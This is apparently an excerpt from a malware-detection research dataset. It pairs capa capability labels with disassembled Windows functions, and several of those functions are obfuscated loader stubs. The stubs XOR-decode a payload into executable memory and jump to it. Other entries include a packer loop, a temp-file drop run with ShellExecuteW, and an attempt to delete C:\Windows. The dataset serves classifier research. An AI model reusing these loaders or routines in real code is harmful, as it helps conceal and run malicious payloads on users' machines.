joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100018e4
Capabilities:
Create process on windows
Get common file path

Disassembly:
push 0x21c
mov eax, 0x10009593
call fcn.100089a7
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov eax, dword [0x1000e04c]
cmp eax, 0x1000e04c
je 0x10001927
test dword [eax + 0x1c], 0x100
je 0x10001927
cmp byte [eax + 0x19], 6
jb 0x10001927
push ebx
push 0x1000a79c
push 0x19
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.100047c0
xor edi, edi
test esi, esi
jne 0x10001937
mov eax, 0x80004005
jmp 0x10001b10
push dword [esi]
lea ecx, [ebp - 0x228]
call fcn.10002f0d
mov dword [ebp - 4], 1
call fcn.100012d5
push eax
lea ecx, [ebp - 0x224]
call fcn.100047c0
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 2
push eax
mov esi, 0x104
mov dword [ebp - 0x21c], edi
push esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
test eax, eax
jne 0x1000198f
push 0x1000a630
push esi
lea eax, [ebp - 0x218]
push eax
call fcn.100047c0
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x220]
call fcn.10002f0d
push 0xd
push str.Join.ocsmeet
lea ecx, [ebp - 0x220]
mov byte [ebp - 4], 3
call fcn.100047c0
push 0x1000a654
push dword [ebp - 0x220]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
add esp, 0xc
test eax, eax
jne 0x10001a17
cmp dword [ebp - 0x21c], eax
je 0x10001a17
push dword [ebp - 0x21c]
push dword [ebp - 0x228]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputws]
pop ecx
pop ecx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x224]
call fcn.100047c0
push dword [ebp - 0x21c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
mov dword [ebp - 0x21c], edi
mov esi, dword [ebp - 0x224]
cmp dword [esi - 0xc], edi
jne 0x10001a2c
mov edi, 0x80004005
jmp 0x10001abc
push 0xa
mov eax, 0x1000a798
push eax
push eax
push esi
push 0x1000a658
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x10001abc
cmp eax, 0x1b
ja 0x10001a8c
je 0x10001ab0
dec eax
sub eax, 1
je 0x10001a85
sub eax, 1
je 0x10001a7e
dec eax
sub eax, 1
je 0x10001a77
sub eax, 3
je 0x10001a70
sub eax, 3
jne 0x10001a22
mov edi, 0x8007000b
jmp 0x10001abc
mov edi, 0x8007000e
jmp 0x10001abc
mov edi, 0x80070005
jmp 0x10001abc
mov edi, 0x80070003
jmp 0x10001abc
mov edi, 0x80070002
jmp 0x10001abc
sub eax, 0x1c
je 0x10001ab7
sub eax, 1
je 0x10001ab7
sub eax, 1
je 0x10001ab7
sub eax, 1
je 0x10001ab0
sub eax, 1
jne 0x10001a22
mov edi, 0x80070485
jmp 0x10001abc
mov edi, 0x80070483
jmp 0x10001abc
mov edi, 0x80070484
mov eax, dword [0x1000e04c]
cmp eax, 0x1000e04c
je 0x10001aea
test dword [eax + 0x1c], 0x100
je 0x10001aea
cmp byte [eax + 0x19], 6
jb 0x10001aea
push ebx
push 0x1000a79c
push 0x1a
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.100047c0
mov ecx, dword [ebp - 0x220]
lea ecx, [ecx - 0x10]
call fcn.100047c0
lea ecx, [esi - 0x10]
call fcn.100047c0
mov ecx, dword [ebp - 0x228]
add ecx, 0xfffffff0
call fcn.100047c0
mov eax, edi
call fcn.10008959
ret 8
Function at 0x100043fb
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x224
mov eax, dword [0x1000e018]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov ecx, dword [ebp + 8]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0xc], ebx
mov eax, dword [edi + 4]
or eax, 0x2001f
mov dword [esp + 0x10], ebx
push eax
push ecx
push dword [edi]
lea ecx, [esp + 0x18]
mov dword [esp + 0x20], ebx
call fcn.100047c0
mov esi, eax
test esi, esi
je 0x10004461
cmp dword [esp + 0xc], ebx
je 0x1000445a
push dword [esp + 0xc]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, esi
jmp 0x100044f0
lea eax, [esp + 0x20]
push eax
push ebx
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ebx
mov ebx, dword [sym.imp.advapi32.dll_RegEnumKeyExW]
jmp 0x100044a5
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
call fcn.100047c0
mov esi, eax
test esi, esi
jne 0x10004507
lea eax, [esp + 0x20]
xor ecx, ecx
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ecx
push dword [esp + 0x28]
mov dword [esp + 0x38], 0x100
call ebx
test eax, eax
je 0x1000447c
cmp dword [esp + 0xc], 0
mov esi, dword [sym.imp.advapi32.dll_RegCloseKey]
je 0x100044cf
push dword [esp + 0xc]
call esi
and dword [esp + 0xc], 0
push dword [esp + 0x1c]
and dword [esp + 0x14], 0
mov ecx, edi
call fcn.100047c0
cmp dword [esp + 0xc], 0
mov edi, eax
je 0x100044ee
push dword [esp + 0xc]
call esi
mov eax, edi
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10007fbd
mov esp, ebp
pop ebp
ret 4
cmp dword [esp + 0xc], 0
jmp 0x1000444e
Function at 0x100047c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x100047cf
pop dword [ebp - 0x30]
mov eax, 0x65812e2d
add eax, 0xaa7f19a2
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x73ff0191
add dword [ebp - 0x40], 0xda5343ba
mov dword [ebp - 0x3c], 0x539308c8
add dword [ebp - 0x3c], 0xdea0437d
mov dword [ebp - 0x38], 0x142b70a1
sub dword [ebp - 0x38], 0xc7df2c73
mov dword [ebp - 0x34], 0xe8ea5767
sub dword [ebp - 0x34], 0xe8ea5767
lea eax, [ebp - 0x40]
push eax
mov eax, 0xb9832de
add eax, 0x4686dda
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x2b81f7d7
sub dword [ebp - 0x40], 0xb70f8e81
mov dword [ebp - 0x3c], 0x5df6bec
sub dword [ebp - 0x3c], 0xc4730a77
mov dword [ebp - 0x38], 0x3d7f39ab
add dword [ebp - 0x38], 0x25f032c1
mov dword [ebp - 0x34], 0x248566f2
sub dword [ebp - 0x34], 0x248566f2
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x1a8f2fab
sub eax, 0xa8e8f3b
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3ab44
push 0
call eax
mov ecx, 0x51d0
mov edi, eax
mov esi, 0xe51b5c7e
sub esi, 0xd51a2a7e
add esi, dword [ebp - 0x30]
mov ebx, 0x2e6bb8cc
sub ebx, 0xb036db5a
xor dword [ebp - 0x24], ebx
mov edx, dword [esi]
xor dword [ebp - 0xc], eax
add edx, ebx
xor dword [ebp - 0x24], esi
mov dword [edi], edx
add dword [ebp - 0x28], 0x4a70ca51
add edi, 4
add esi, 4
loop 0x100048eb
add eax, 0xd6006e38
sub eax, 0xd5ff3425
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x10004f9f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x1000985d
call fcn.10008a15
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x418], ebx
push 0x60
push ebx
push esi
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1000501c
push 2
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x1000501c
call fcn.10003697
mov esi, eax
jmp 0x1000512c
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x1000503f
call fcn.10003697
jmp 0x1000511f
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x10005035
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x420], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x10005072
mov esi, 0x8007000e
jmp 0x10005121
push 2
push eax
lea eax, [ebp - 0x41c]
mov byte [ebp - 4], 2
push eax
call fcn.100047c0
test eax, eax
js 0x1000515a
cmp dword [ebp - 0x41c], 0x400
jbe 0x100050c2
push dword [ebp - 0x41c]
lea ecx, [ebp - 0x418]
call fcn.100047c0
jmp 0x100050ce
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x10005068
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x428]
push ebx
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x10005035
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x434]
push dword [ebp - 0x418]
call fcn.100047c0
mov esi, eax
test edi, edi
je 0x1000512c
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10005145
lea ecx, [ebp - 0x418]
call fcn.1000365f
lea ecx, [ebp - 0x42c]
call fcn.10003d3f
mov eax, esi
call fcn.10008966
ret 0x10
push eax
call fcn.100047c0
int3
Function at 0x401040
Capabilities:
Delete directory

Disassembly:
push str.C:Windows
push str.deleting_directory__s__n
call fcn.00401010
add esp, 8
push str.C:Windows
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
mov edx, str.Failed_to_delete__s_directory__n
mov ecx, str.Directory__s_was_deleted__n
cmove ecx, edx
push str.C:Windows
push ecx
call fcn.00401010
push str.Press_Enter_to_exit...
call fcn.00401010
add esp, 0xc
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
ret
Function at 0x4f2085
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4f20bd
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004f0113
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004f00eb
jmp 0x4f20c9
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4f3777
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4f37b9
call fcn.004f91f7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4f37b9
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4f37b0
xor eax, eax
jmp 0x4f37c1
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004f37c7
pop edi
pop esi
pop ebx
ret 4

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7a1b4b4b
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0xd7d0f01
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401e60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a9c4
call fcn.004038b0
mov eax, dword [0x40e004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
mov edx, eax
mov ecx, eax
shr ecx, 4
shr edx, 8
or dl, cl
movsx ecx, al
movsx ebx, dl
imul ebx, ecx
mov cl, al
add cl, cl
xor bl, al
lea edx, [ecx + eax]
add bl, dl
mov byte [ebp + eax - 0x3a988], bl
inc eax
cmp eax, 0x3a980
jb 0x401ee4
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9bc], 0x3a980
mov dword [ebp - 0x3a9c0], eax
lea eax, [ebp - 0x3a9c0]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
mov dword [ebp - 0x3a9a8], 0
mov dword [ebp - 0x3a9a4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00402bbc
mov esp, ebp
pop ebp
ret
Function at 0x4033f2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403431
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403431
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403431
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403431
cmp dword [ecx + 0x74], 0xe
jbe 0x403431
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10002b2e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add ecx, 0x20
pop ebp
jmp fcn.100016da

Function at 0x10006590
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov esi, dword [section..data]
cmp esi, 0xffffffff
jne 0x100065b3
call dword [sym.imp.kernel32.dll_TlsAlloc]
mov esi, eax
mov dword [section..data], eax
cmp eax, 0xffffffff
je 0x100065f6
push esi
call dword [sym.imp.kernel32.dll_TlsGetValue]
push eax
call fcn.1003c4c5
add esp, 4
mov ebx, dword [sym.imp.kernel32.dll_TlsSetValue]
push 0
push esi
call ebx
push 0x14
call fcn.1003c4c5
add esp, 4
mov edi, eax
push eax
push esi
call ebx
movaps xmm0, xmmword [0x10040c10]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov eax, edi
pop esi
pop edi
pop ebx
pop ebp
ret
xor edi, edi
jmp 0x100065de

Function at 0x100065fa
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x10
xorps xmm0, xmm0
movups xmmword [esp], xmm0
call fcn.10005b20
sub esp, 0x10
mov esi, dword [section..data]
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_TlsGetValue]
sub esp, 4
mov dword [esp], eax
call fcn.1003c4c5
mov dword [esp], esi
mov dword [esp + 4], 0
call dword [sym.imp.kernel32.dll_TlsSetValue]
add esp, 8
pop esi
pop ebp
ret

Function at 0x100066a2
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push dword [section..data]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x100066b7
pop ebp
ret
pop ebp
jmp fcn.10006590

Function at 0x10008df0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor eax, eax
cmp edx, ecx
je 0x10008e1f
shl eax, 4
movsx esi, byte [edx]
add esi, eax
mov edi, esi
and edi, 0xf0000000
mov eax, edi
shr eax, 0x18
or eax, edi
xor eax, esi
inc edx
cmp ecx, edx
jne 0x10008e01
pop esi
pop edi
pop ebp
ret 8

Function at 0x10008f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor eax, eax
cmp edx, ecx
je 0x10008f61
shl eax, 4
movzx esi, word [edx]
add esi, eax
mov edi, esi
and edi, 0xf0000000
mov eax, edi
shr eax, 0x18
or eax, edi
xor eax, esi
add edx, 2
cmp ecx, edx
jne 0x10008f41
pop esi
pop edi
pop ebp
ret 8
Function at 0x1000b197
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, ecx
test si, si
jne 0x1000b24c
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1000b24c
mov edx, dword [esi + 0x3c]
test dl, 3
jne 0x1000b24c
cmp dword [edx + esi], 0x4550
jne 0x1000b24c
cmp dword [edx + esi + 0x74], 6
jb 0x1000b24c
push ebx
mov ebx, dword [edx + esi + 0x50]
push edi
mov edi, dword [edx + esi + 0xa8]
lea eax, [ebx - 1]
lea ecx, [edi - 1]
cmp ecx, eax
jae 0x1000b24a
mov eax, dword [edx + esi + 0xac]
mov ecx, ebx
sub ecx, edi
cmp eax, ecx
ja 0x1000b24a
xor edx, edx
add edi, esi
push 0x1c
pop ecx
div ecx
mov edx, eax
test edx, edx
je 0x1000b24a
imul ecx, edx, 0x1c
add ecx, 0x14
add ecx, edi
lea ecx, [ecx - 0x1c]
dec edx
cmp dword [ecx - 8], 2
lea edi, [ecx - 0x14]
jne 0x1000b228
cmp dword [ecx], ebx
jae 0x1000b228
mov eax, ebx
sub eax, dword [ecx]
cmp dword [ecx - 4], eax
jbe 0x1000b22e
test edx, edx
jne 0x1000b20e
jmp 0x1000b24a
push 0x1c
push edi
call dword [sym.imp.kernel32.dll_VirtualLock]
test eax, eax
je 0x1000b24a
mov eax, dword [edi + 0x14]
push dword [edi + 0x10]
add eax, esi
push eax
call dword [sym.imp.kernel32.dll_VirtualLock]
pop edi
pop ebx
pop esi
ret

Function at 0x1000c446
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1000c455
pop dword [ebp - 0x38]
mov eax, 0x1000c455
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x3a141
push 0
mov eax, 0xc68888ee
sub eax, 0xb687488a
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x4c69
mov edx, eax
mov ebx, 0xac048a48
sub ebx, 0x9c030448
add ebx, dword [ebp - 0x38]
mov esi, 0x10cc7aee
add esi, 0x60845890
xor dword [ebp - 0x28], eax
mov edi, dword [ebx]
xor dword [ebp - 0x24], 0xbf64fa76
add edi, esi
add dword [ebp - 0x1c], 0x7b679b6a
mov dword [edx], edi
xor dword [ebp - 0x34], esi
add edx, 4
add ebx, 0x44f2384e
sub ebx, 0x44f2384a
loop 0x1000c4a9
add eax, 0x84e78824
sub eax, 0x84e663ad
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb3d7aca7
add ecx, 0x5c285359
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x10007ef2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10007f01
pop dword [ebp - 0xc]
mov eax, 0x8007f20e
add eax, 0x8ff88cf3
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xb3d07fac
add dword [ebp - 0x1c], 0x9a81c59f
mov dword [ebp - 0x18], 0xfe12e606
add dword [ebp - 0x18], 0x3420663f
mov dword [ebp - 0x14], 0x85fe338c
add dword [ebp - 0x14], 0xc64e10a2
mov dword [ebp - 0x10], 0xbcf1f90f
add dword [ebp - 0x10], 0x430e06f1
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x6766d68f
sub dword [ebp - 0x1c], 0xf2f46d39
mov dword [ebp - 0x18], 0x419fbea9
sub dword [ebp - 0x18], 0x335d34
mov dword [ebp - 0x14], 0x9ca9585
sub dword [ebp - 0x14], 0xa65b2919
mov dword [ebp - 0x10], 0x114872cc
add dword [ebp - 0x10], 0xeeb78d34
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x3543cde0
sub eax, 0x25433de0
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x372c7
push 0
call eax
mov ecx, 0xb6e8e046
sub ecx, 0xb6e898a4
xor esi, esi
add esi, eax
mov edx, 0x1000e800
add edx, dword [ebp - 0xc]
mov edi, 0x783431ff
sub edi, 0x246ec6b4
mov dword [ebp - 8], 0x8b36602e
mov ebx, dword [edx]
xor dword [ebp - 8], edx
sub ebx, edi
sub dword [ebp - 8], esi
mov dword [esi], ebx
add esi, 0x66858f4e
add esi, 0x997a70b6
add edx, 4
loop 0x1000801a
add eax, 0x1115b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xbd48892a
add ecx, 0x52b776d6
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x100082ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x100082b6
repz ret
jmp fcn.1000869f
Function at 0x100012f1
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x220
mov eax, 0x1000efb8
call fcn.1000eecd
mov edi, dword [ebp + 0x14]
xor ebx, ebx
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x21c], esi
mov dword [edi], ebx
cmp dword [ebp + 0xc], ebx
je 0x1000131f
mov eax, 0x80040110
jmp 0x100014e8
push 0x208
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x218]
call fcn.10005d8f
test eax, eax
je 0x1000134d
mov eax, 0x80040112
jmp 0x100014e8
mov edx, dword [ebp + 8]
mov ecx, ebx
mov eax, dword [edx + ecx*4 + 8]
mov esi, 0x10010874
cmp eax, dword [esi + ecx*4]
mov esi, dword [ebp - 0x21c]
jne 0x10001499
inc ecx
cmp ecx, 4
jne 0x10001352
call fcn.10005d8f
test eax, eax
je 0x100014e3
push 4
mov ecx, ebx
pop edx
mov eax, dword [esi + ecx*4]
mov esi, 0x10010884
cmp eax, dword [esi + ecx*4]
mov esi, dword [ebp - 0x21c]
jne 0x100013f1
inc ecx
cmp ecx, edx
jne 0x10001382
mov ecx, dword [0x1001640c]
test ecx, ecx
jne 0x100013e5
push 0x10
pop ecx
call fcn.10001222
mov ecx, eax
mov dword [ebp - 0x220], ecx
test ecx, ecx
je 0x100013cf
inc dword [0x10016410]
mov dword [ecx], vtable.CShellExtension.0
mov byte [ecx + 4], bl
mov dword [ecx + 8], ebx
mov dword [ecx + 0xc], ebx
jmp 0x100013d1
mov ecx, ebx
mov dword [0x1001640c], ecx
test ecx, ecx
jne 0x100013e5
mov eax, 0x8007000e
jmp 0x100014e8
mov eax, dword [ecx]
push edi
push esi
push ecx
call dword [eax]
jmp 0x100014e8
mov ecx, ebx
mov eax, dword [esi + ecx*4]
mov esi, 0x1001034c
cmp eax, dword [esi + ecx*4]
mov esi, dword [ebp - 0x21c]
jne 0x100014e3
inc ecx
cmp ecx, edx
jne 0x100013f3
push ebx
push ebx
push ebx
lea eax, [ebp - 0x224]
mov dword [ebp - 0x228], ebx
push eax
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x224], edx
push eax
lea eax, [ebp - 0x228]
mov esi, ebx
push eax
push str.ShowCacheFolder
push str.SoftwareMicrosoftOffice16.0MS_Project
call dword [sym.imp.SHLWAPI.dll_SHRegGetUSValueW]
test eax, eax
jne 0x1000145a
cmp dword [ebp - 0x22c], eax
sete al
mov dword [ebp - 0x220], eax
mov esi, eax
push 0x58
pop ecx
call fcn.10001222
mov dword [ebp - 0x220], eax
test eax, eax
je 0x10001479
lea ecx, [esi + 1]
push ecx
mov ecx, eax
call fcn.10005d8f
mov ebx, eax
test ebx, ebx
je 0x100013db
push edi
push dword [ebp - 0x21c]
mov eax, dword [ebx]
push ebx
call dword [eax]
mov ecx, dword [ebx]
mov esi, eax
push ebx
call dword [ecx + 8]
mov eax, esi
jmp 0x100014e8
mov ecx, ebx
mov eax, dword [edx + ecx*4 + 8]
mov esi, 0x10010b2c
cmp eax, dword [esi + ecx*4]
mov esi, dword [ebp - 0x21c]
jne 0x100014e3
inc ecx
cmp ecx, 4
jne 0x1000149b
push 0x4c
pop ecx
call fcn.10001222
mov dword [ebp - 0x220], eax
mov dword [ebp - 4], ebx
test eax, eax
je 0x100014d3
mov ecx, eax
call fcn.10007cce
mov ebx, eax
or dword [ebp - 4], 0xffffffff
test ebx, ebx
je 0x100013db
push edi
push esi
jmp 0x10001488
mov eax, 0x80004002
call fcn.1000ee8c
ret 0x10
Function at 0x10005d8f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10005d9e
pop dword [ebp - 0x3c]
mov eax, 0x10005d9e
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x5d58721e
sub dword [ebp - 0x4c], 0xf062cd3
mov dword [ebp - 0x48], 0xddf3b288
add dword [ebp - 0x48], 0x543f99bd
mov dword [ebp - 0x44], 0x640ef526
add dword [ebp - 0x44], 0xe83d4f08
mov dword [ebp - 0x40], 0x1e783ffd
sub dword [ebp - 0x40], 0x1e783ffd
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x8bb0d364
add eax, 0x84502ca4
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xddd2047a
add dword [ebp - 0x4c], 0x96a064dc
mov dword [ebp - 0x48], 0x86faad6a
sub dword [ebp - 0x48], 0x458e4bf5
mov dword [ebp - 0x44], 0x34ddac4a
sub dword [ebp - 0x44], 0xd16e3fde
mov dword [ebp - 0x40], 0x690bcc86
add dword [ebp - 0x40], 0x96f4337a
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b9ee
push 0
call eax
mov ecx, 0x53aa
mov ebx, eax
mov esi, 0x10044600
add esi, dword [ebp - 0x3c]
mov edi, 0xabd9ca9e
add edi, 0xb4e2c3d9
xor dword [ebp - 0x34], 0x926270c0
mov edx, dword [esi]
sub dword [ebp - 8], esi
xor edx, edi
mov dword [ebx], edx
xor dword [ebp - 0x14], esi
add ebx, 0x2777c1b4
add ebx, 0xd8883e50
add esi, 0xdf294292
add esi, 0x20d6bd72
loop 0x10005eaa
add eax, 0x4498404f
sub eax, 0x4496fed4
xor ebx, ebx
add ebx, eax
add eax, 0x32d9b22c
add eax, 0xcd264dd9
mov ecx, 0xc9bea68b
